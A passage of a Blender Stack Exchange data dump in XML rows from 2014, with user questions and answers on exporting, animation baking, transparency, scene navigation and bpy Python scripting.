render?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-27T01:29:11.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13534" PostTypeId="2" ParentId="13532" CreationDate="2014-06-27T01:23:32.347" Score="1" Body="&lt;p&gt;You can bake fcurves to keyframes by selecting the keyframes in the graph editor and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; (or &lt;em&gt;Header &gt; Key &gt; Sample Keyframes&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrDWp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;em&gt;3D view &gt; Header &gt; Object &gt; Animation &gt; Bake action&lt;/em&gt;, which gives you more options (and also lets you bake constraints, drivers, rigid body simulations, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the format you want to export to, you might be able to just export it. If you need to use python, having the values as keyframes makes it pretty easy to &lt;a href=&quot;https://blender.stackexchange.com/q/8387/599&quot;&gt;iterate over them and collect the values&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-06-27T01:39:02.063" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13535" PostTypeId="1" CreationDate="2014-06-27T02:28:49.480" Score="1" ViewCount="317" Body="&lt;p&gt;I am attempting to export objects from blender into .obj format for use in an opengl program I am writing.  Currently, I am attempting to create shape keys in blender, then export them, then interpolate between them as my program runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the python command that I use to export the .obj file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.export_scene.obj(&#xA;    filepath = temp.name,&#xA;    use_selection = True,&#xA;    use_edges = False,&#xA;    use_normals = True,&#xA;    use_uvs = True,&#xA;    use_materials = False,&#xA;    use_triangles = True,&#xA;    keep_vertex_order = True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both the initial and final steps of the animation look as expected, with the shape key either applied entirely, or not applied at all.  However, in the interpolation between the two shape keys, there are graphical issues as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/IwTPTlu.png&quot; alt=&quot;non-interpolation step&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/xlPvNFB.png&quot; alt=&quot;interpolation step&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be caused by inconsistent triangulation between the two different shape keys, since the diagonal between the corners of the rectangles goes in the opposite direction at the two ends of the animation.  I would not have expected this, since I had passed the &lt;code&gt;keep_vertex_order&lt;/code&gt; flag to the exporter.  Am I understanding the issue correctly, and is there a way to keep consistent triangulation?&lt;/p&gt;&#xA;" OwnerUserId="4981" LastEditorUserId="2217" LastEditDate="2014-06-27T02:40:42.910" LastActivityDate="2014-06-27T08:25:31.177" Title="Consistent triangulation when exporting shape keys" Tags="&lt;python&gt;&lt;export&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13537" PostTypeId="1" CreationDate="2014-06-27T03:25:57.130" Score="1" ViewCount="568" Body="&lt;p&gt;I'm not sure what's going on, but today in the morning when I opened blender it had turned gray from black. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's affecting any type of performance, but it is not feeling right while working, is there anything I can do to revert this change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.50&lt;/p&gt;&#xA;" OwnerUserId="4984" LastEditorUserId="12" LastEditDate="2014-08-21T18:14:32.540" LastActivityDate="2014-09-20T18:15:23.033" Title="Blender interface appears gray?" Tags="&lt;interface&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13538" PostTypeId="1" CreationDate="2014-06-27T03:50:44.013" Score="4" ViewCount="436" Body="&lt;p&gt;When I add any strip to Blender's Video Sequence Editor, the default &lt;code&gt;Blend Type&lt;/code&gt; is &lt;code&gt;Cross&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change the default to &lt;code&gt;Alpha Over&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2021-01-08T01:00:17.253" Title="Set the default Blend Type" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13539" PostTypeId="1" AcceptedAnswerId="13540" CreationDate="2014-06-27T03:54:18.973" Score="1" ViewCount="1769" Body="&lt;p&gt;I am relatively new to Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am trying to make some animations using the free model Unity-Chan available from the asset store. Could someone post some helpful tips or perhaps a link with a brief walkthrough on how to perform this?&lt;/p&gt;&#xA;" OwnerUserId="4985" LastEditorUserId="1112" LastEditDate="2014-06-27T04:13:29.337" LastActivityDate="2014-06-27T04:13:29.337" Title="Creating animations for Unity models using Blender?" Tags="&lt;unity&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13540" PostTypeId="2" ParentId="13539" CreationDate="2014-06-27T04:03:02.917" Score="1" Body="&lt;p&gt;This is very simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First export your model from unity: &lt;a href=&quot;http://wiki.unity3d.com/index.php?title=ObjExporter&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.unity3d.com/index.php?title=ObjExporter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Next, Import it into blender:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7FRBf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add animations using the rigging tools&lt;/li&gt;&#xA;&lt;li&gt;Export FBX to unity using these settings:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zoLzX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-27T04:03:02.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13541" PostTypeId="1" AcceptedAnswerId="13565" CreationDate="2014-06-27T04:34:31.563" Score="2" ViewCount="1107" Body="&lt;p&gt;The images have alpha channel checked on. In normal view the image looks fine but when I render the images cutoff the ones behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Eig5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be no gap between those 2 images but the one closer to the camera is cutting off the one behind it. I used the import images as planes addon. My goal is to export a png file that is transparent except for the colored areas. I'm gonna import this file into Unity so it needs to have a transparent background.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="2217" LastEditDate="2014-06-27T14:12:09.623" LastActivityDate="2014-09-25T20:19:48.443" Title="Image plane is blocking the one behind it despite transparency" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13542" PostTypeId="2" ParentId="13541" CreationDate="2014-06-27T06:22:19.133" Score="0" Body="&lt;p&gt;Starting with the basic z-transparency settings from this answer: &lt;a href=&quot;https://blender.stackexchange.com/questions/13380/why-does-a-multiplied-texture-with-alpha-loose-detail-information&quot;&gt;Why does a multiplied texture with alpha loose detail information?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the material settings' &lt;em&gt;Shadow&lt;/em&gt;  tick &lt;em&gt;Receive Transparency&lt;/em&gt; and disable &lt;em&gt;Cast&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image shows the same situation as in your post. The transparent parts of the texture cast a shadow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x78D8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bnwW1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gS9Ob.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there is no longer a shadow casted from the transparent part, but might also want to remove the shadow from the opaque image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fCFss.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UCpJm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-06-27T14:54:09.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13543" PostTypeId="1" CreationDate="2014-06-27T06:24:00.757" Score="0" ViewCount="1716" Body="&lt;p&gt;Is it possible to import an fbx model, so that I can edit models from unity in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried and nothing worked, when I open the file I see the default cube when opening blender.&lt;/p&gt;&#xA;" OwnerUserId="4986" LastEditorUserId="599" LastEditDate="2014-06-27T06:28:30.637" LastActivityDate="2014-06-27T08:36:28.780" Title="Import fbx model from unity" Tags="&lt;import&gt;&lt;unity&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-06-27T12:39:03.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="13545" PostTypeId="1" CreationDate="2014-06-27T06:51:39.990" Score="6" ViewCount="8098" Body="&lt;p&gt;I personally enjoy modeling in blender more than maya, but this one tool is so extremely helpful. It should be included in blender if there isnt something similar already. Is there a place where I can suggest tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8-G7UblIjTs&quot;&gt;https://www.youtube.com/watch?v=8-G7UblIjTs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4987" LastActivityDate="2018-11-07T01:12:30.713" Title="Is there a tool similar to maya's &quot;edit edge flow&quot; in blender" Tags="&lt;modeling&gt;" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13546" PostTypeId="2" ParentId="13545" CreationDate="2014-06-27T07:32:41.930" Score="5" Body="&lt;p&gt;Not exactly, but there are some tools which you can use to get similar results in specific situations.&lt;/p&gt;&#xA;&lt;h2&gt;Shrink/Fatten (Scale along normals)&lt;/h2&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/beG80.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Smooth subdivide&lt;/h2&gt;&#xA;&lt;p&gt;Change &lt;em&gt;Smoothness&lt;/em&gt; in the redo panel (&lt;kbd&gt;F6&lt;/kbd&gt;) after subdividing&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkUxV.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Smooth loop cut&lt;/h2&gt;&#xA;&lt;p&gt;Change Smoothness in the redo panel after cutting, or set the smoothness while positioning the cut with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Mouse Wheel&lt;/kbd&gt; (the smooth value is displayed in the header).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n4JPc.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-27T07:32:41.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13547" PostTypeId="2" ParentId="13535" CreationDate="2014-06-27T07:57:33.800" Score="1" Body="&lt;p&gt;You could add a Triangulate Modifier, with either Fixed or Fixed Alternate as the Quad Method. Make sure to Apply modifier &lt;em&gt;in&lt;/em&gt; the .obj exporter with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.context.selected_objects:&#xA;    if not 'Triangulate' in obj.modifiers:&#xA;        tri_mod = obj.modifiers.new(name='Triangulate', type = 'TRIANGULATE')&#xA;        tri_mod.quad_method = 'FIXED'&#xA;&#xA;bpy.ops.export_scene.obj(&#xA;    filepath = temp.name,&#xA;    use_selection = True,&#xA;    use_edges = False,&#xA;    use_normals = True,&#xA;    use_uvs = True,&#xA;    use_materials = False,&#xA;    use_triangles = True,&#xA;    keep_vertex_order = True&#xA;    use_mesh_modifiers = True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4979" LastEditorUserId="4979" LastEditDate="2014-06-27T08:25:31.177" LastActivityDate="2014-06-27T08:25:31.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13548" PostTypeId="2" ParentId="13543" CreationDate="2014-06-27T08:23:24.830" Score="0" Body="&lt;p&gt;There is an fbx Import-Export add-on, have you tried it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eWAud.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be helpfull to :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?274687-Another-FBX-Importer-Exporter-addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?274687-Another-FBX-Importer-Exporter-addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4988" LastEditorUserId="4988" LastEditDate="2014-06-27T08:36:28.780" LastActivityDate="2014-06-27T08:36:28.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13549" PostTypeId="1" CreationDate="2014-06-27T08:33:18.340" Score="0" ViewCount="1330" Body="&lt;p&gt;I need to select some faces on different objects to apply a material. But all of a sudden in Face Select I can only select faces of one object at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other faces are not selectable, not even by box-selecting the whole screen.&#xA;Is this some Kind of setting? How can I toggle this?&lt;/p&gt;&#xA;" OwnerDisplayName="user4989" LastEditorUserId="599" LastEditDate="2014-06-27T19:39:31.800" LastActivityDate="2014-06-28T17:16:51.880" Title="Only one object usable in face select" Tags="&lt;objects&gt;&lt;editing&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13550" PostTypeId="2" ParentId="13549" CreationDate="2014-06-27T08:51:22.687" Score="2" Body="&lt;p&gt;Since one must be in edit mode to select a face, and one can only have one object active at a time, it is outside of the design parameters of Blender to be able to select faces on multiple objects at once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not to say that you cannot apply the same material to faces on different object, you just have to select each object in turn (in object mode), switch to edit mode, and select the desired face(s), and apply the desired material.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-06-27T08:51:22.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13551" PostTypeId="2" ParentId="6370" CreationDate="2014-06-27T08:58:48.397" Score="1" Body="&lt;p&gt;There is a &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Game_Engine/Publishing&quot; rel=&quot;nofollow noreferrer&quot;&gt;new addon&lt;/a&gt; being developed (it's already included in master, so it is bundled with the &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;latest builds&lt;/a&gt;) which allows creation of runtimes for multiple platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://code.blender.org/index.php/2014/06/new-game-engine-publishing-addon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;official developer blog&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One of the common complaints with the Blender Game Engine is with&#xA;  publishing games. While there are many issues related to publishing&#xA;  with the BGE, one issue is the lack of a simple, user-friendly way to&#xA;  publish to multiple platforms. Steps are being taken to resolve this&#xA;  with a new Game Engine Publishing addon that has been recently&#xA;  committed to master (should be available in buildbot builds by now).&#xA;  This addon is intended to replace the old Save As Runtime addon, and&#xA;  currently provides the following improvements:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;New panel in the Render Properties to control publishing (this also means publishing options are saved in the blend file)&lt;/li&gt;&#xA;  &lt;li&gt;Easier cross-platform publishing (this requires downloading the binaries for the desired platforms, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Game_Engine/Publishing&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon’s wiki&lt;/a&gt; page for more&#xA;  information)&lt;/li&gt;&#xA;  &lt;li&gt;Ability to create archives (e.g., tarballs and zips) for published games&lt;/li&gt;&#xA;  &lt;li&gt;Ability to automatically copy extra game files (e.g., scripts, unpacked textures, logic, other blend files, etc.) when publishing&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-06-27T08:58:48.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13552" PostTypeId="2" ParentId="13532" CreationDate="2014-06-27T11:33:10.690" Score="3" Body="&lt;p&gt;The fcurve class provides the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.FCurve.html?highlight=fcurve#bpy.types.FCurve.evaluate&quot; rel=&quot;nofollow&quot;&gt;.evaluate&lt;/a&gt;&#xA; method to get the value for a given frame.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;action = bpy.data.actions['CubeAction']&#xA;for fc in action.fcurves:&#xA;    if fc.data_path == 'location' and fc.array_index == 0:&#xA;        break&#xA;val = fc.evaluate(5.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-06-27T11:33:10.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13553" PostTypeId="2" ParentId="13532" CreationDate="2014-06-27T13:02:04.320" Score="1" Body="&lt;p&gt;Values that are keyframed change as the current frame changes. Using python you can step through each frame and export the keyed values with something like --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scn = bpy.context.scene&#xA;obj = bpy.context.active_object&#xA;&#xA;for f in range(scn.frame_start, scn.frame_end):&#xA;    # use frame_set() so that keyed values are updated&#xA;    scn.frame_set(f)&#xA;    print(scn.frame_current, obj.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-27T13:02:04.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13554" PostTypeId="1" AcceptedAnswerId="13557" CreationDate="2014-06-27T13:29:35.457" Score="8" ViewCount="7898" Body="&lt;p&gt;I tried to manipulate a cube with the Boolean modifier. I tried to cut out an edge of the cube with a cylinder. Also, the shading result looks awful in FLAT SHADING mode, so I turned on SMOOTH SHADING. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone an idea how to achieve a better result. (I also cut out a Sphere first, this made the result less awful). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Blender Internal and rendered with smooth shading for smoothness. &#xA;Using flat shading looks okay, except the &quot;round&quot; cutouts :/ &#xA;Face normals are okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First image is smooth shading. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/t72SR.jpg&quot; alt=&quot;shading problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;User Pisurquatre suggested the EdgeSplit modifier, works perfect to me&#xA;(Maybe a little tweaking here and there):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9hHip.jpg&quot; alt=&quot;Final Result with EdgeSplit&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4991" LastEditorUserId="4991" LastEditDate="2014-06-27T15:39:14.060" LastActivityDate="2019-10-19T18:45:16.957" Title="Applied boolean modifier leaving shading artifacts with flat shading" Tags="&lt;rendering&gt;&lt;modifiers&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13555" PostTypeId="1" AcceptedAnswerId="13556" CreationDate="2014-06-27T14:10:17.830" Score="6" ViewCount="3231" Body="&lt;p&gt;My problem is that I have a huge scene with meshes and (let's say) I see this scene for the first time. I do not know it, I want to look around. I can use the controls like&#xA;&lt;kbd&gt;MMB &lt;img src=&quot;https://i.stack.imgur.com/hdQga.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; plus look around, &lt;kbd&gt;⇧ Shift&lt;/kbd&gt; + &lt;kbd&gt;RMB &lt;img src=&quot;https://i.stack.imgur.com/TvGt0.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; (but scene is too huge for this).&lt;/p&gt;&#xA;&lt;p&gt;Then I select some objects on the hierarchy and press &lt;kbd&gt;numpad .&lt;/kbd&gt; (but as I said: I do not know the scene and/or the object names can look like all the same as well), what will take me there.&lt;/p&gt;&#xA;&lt;p&gt;I know, I can use the fly camera mode, but that is well... kinda hard to use, for me at least. Is there a better way to move around? Like in a game: &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; + mouse look? (I do not want to move my camera, my goal is to move my editing area to a specific position / angle)&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="15924" LastEditDate="2021-02-08T16:43:09.997" LastActivityDate="2021-02-08T16:43:09.997" Title="Is there a better way to move around and view a big scene?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13556" PostTypeId="2" ParentId="13555" CreationDate="2014-06-27T14:21:02.887" Score="8" Body="&lt;p&gt;Since 2.70 there is a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/Game_Development#View_Navigation&quot; rel=&quot;nofollow noreferrer&quot;&gt;walk mode&lt;/a&gt; (like a game). Press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;F&lt;/kbd&gt; to enter walk mode. Then use either &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; or the arrow keys to walk and the mouse to look around. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;To speed up &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/navigate/walk_fly.html#walk-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;walk mode&lt;/a&gt;.&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;during walk mode you can point the mouse cross hairs at any object and press &lt;kbd&gt;space&lt;/kbd&gt; to teleport there. (I find it really neat)&lt;/li&gt;&#xA;&lt;li&gt;holding &lt;kbd&gt;shift&lt;/kbd&gt; will speed up any of the movements.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;NumPad +&lt;/kbd&gt; or Mouse-Wheel up to increase the movement speed for that one time, when you exit walk mode the speed goes back to what it is set at (see next point). There is no feed back to changing the speed, just hold the button for a bit. Likewise &lt;kbd&gt;NumPad -&lt;/kbd&gt; and Mouse-Wheel scrolling down will decrease the speed.&lt;/li&gt;&#xA;&lt;li&gt;If you want to make any lasting speed changes you can go the the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/preferences/input.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;user preferences&lt;/a&gt;, on the input tab down on the left is a section for the walk mode entitled &lt;em&gt;View Navigation&lt;/em&gt;. Change the &lt;em&gt;Walk Speed&lt;/em&gt;, also the &lt;em&gt;Speed Factor&lt;/em&gt; is how much holding &lt;kbd&gt;shift&lt;/kbd&gt; or &lt;kbd&gt;alt&lt;/kbd&gt; will change the speed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to zoom right in on any object or objects with &lt;kbd&gt;NumPad .&lt;/kbd&gt; you can select the objects in the 3D view, you do not have to select them in the Outliner.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2017-09-14T13:39:03.147" LastActivityDate="2017-09-14T13:39:03.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13557" PostTypeId="2" ParentId="13554" CreationDate="2014-06-27T14:41:35.140" Score="8" Body="&lt;p&gt;That strange line comes from that face being an Ngon.&#xA;If what you want is for the sharp edges to be flat shaded, and for the smooth parts (cutouts) to be smooth, I suggest to apply smooth shading on the whole object, with an &lt;em&gt;Edge Split&lt;/em&gt; modifier. From there you can either mark the sharp edges as sharp, or change the Split Angle setting to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2019: This is still the accepted answer, but I recommend looking at Mentalist’s instead.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastEditorUserId="19307" LastEditDate="2019-10-19T18:45:16.957" LastActivityDate="2019-10-19T18:45:16.957" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="13558" PostTypeId="2" ParentId="10689" CreationDate="2014-06-27T14:44:57.997" Score="1" Body="&lt;p&gt;When I need an animated text value I use python code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def frameForX(idx, nPoints, f0, f9):&#xA;    return f0 + (f9-f0) *idx/(nPoints-1)&#xA;&#xA;def setVisibility(obj, f1, f2):&#xA;&#xA;    if not f2 is None:&#xA;        obj.keyframe_insert(data_path='hide', frame= bpy.context.scene.frame_end+10)&#xA;    obj.keyframe_insert(data_path='hide_render', frame=f1)&#xA;    obj.keyframe_insert(data_path='hide', frame=f1)&#xA;    obj.hide = True&#xA;    obj.hide_render = True&#xA;    obj.keyframe_insert(data_path='hide', frame=0)&#xA;    obj.keyframe_insert(data_path='hide_render', frame=0)&#xA;    if not f2 is None:&#xA;        obj.keyframe_insert(data_path='hide', frame=f2)&#xA;        obj.keyframe_insert(data_path='hide_render', frame=f2)&#xA;&#xA;&#xA;def makeText(text, loc, f1, f2):&#xA;    curve = bpy.data.curves.new(&quot;label&quot;, 'FONT')&#xA;    curve.body = text&#xA;    o1 = bpy.data.objects.new(&quot;label&quot;, curve)&#xA;    bpy.context.scene.objects.link(o1)&#xA;    o1.location = loc&#xA;    setVisibility(o1, f1, f2)&#xA;    o1.parent = bpy.data.objects[&quot;font folder&quot;]&#xA;&#xA;    curve.materials.append(bpy.data.materials[&quot;text&quot;])&#xA;&#xA;    return o1&#xA;&#xA;def make2Text(text1, text2, loc, f1, f2):&#xA;    o1 = makeText(text1, loc, f1, f2)&#xA;    o2 = makeText(text2, loc, f1, f2)&#xA;    o1.data.align = 'RIGHT'&#xA;&#xA;f1 = -1&#xA;for i,xy  in enumerate(data):&#xA;    f2 = frameForX(i, len(data), f0, f9)&#xA;    f3 = frameForX(i+1, len(data), f0, f9)&#xA;    if (i+1 &amp;gt;= len(data)):&#xA;        f3 = None&#xA;    if (f2&amp;gt;f1):&#xA;        make2Text(&quot;x=%d,&quot;%xy[0], &quot;y=%.1f&quot;%xy[1], [4,6,1], f2, f3)&#xA;    f1 = f2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code sample is part of &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/data-graph.html&quot; rel=&quot;nofollow&quot; title=&quot;example graph with animated curve bevel&quot;&gt;example graph with animated curve bevel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best practice is to put this overlay in its own scene separate from the VSE and add an action strip pointing at the separate scene.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-27T14:44:57.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
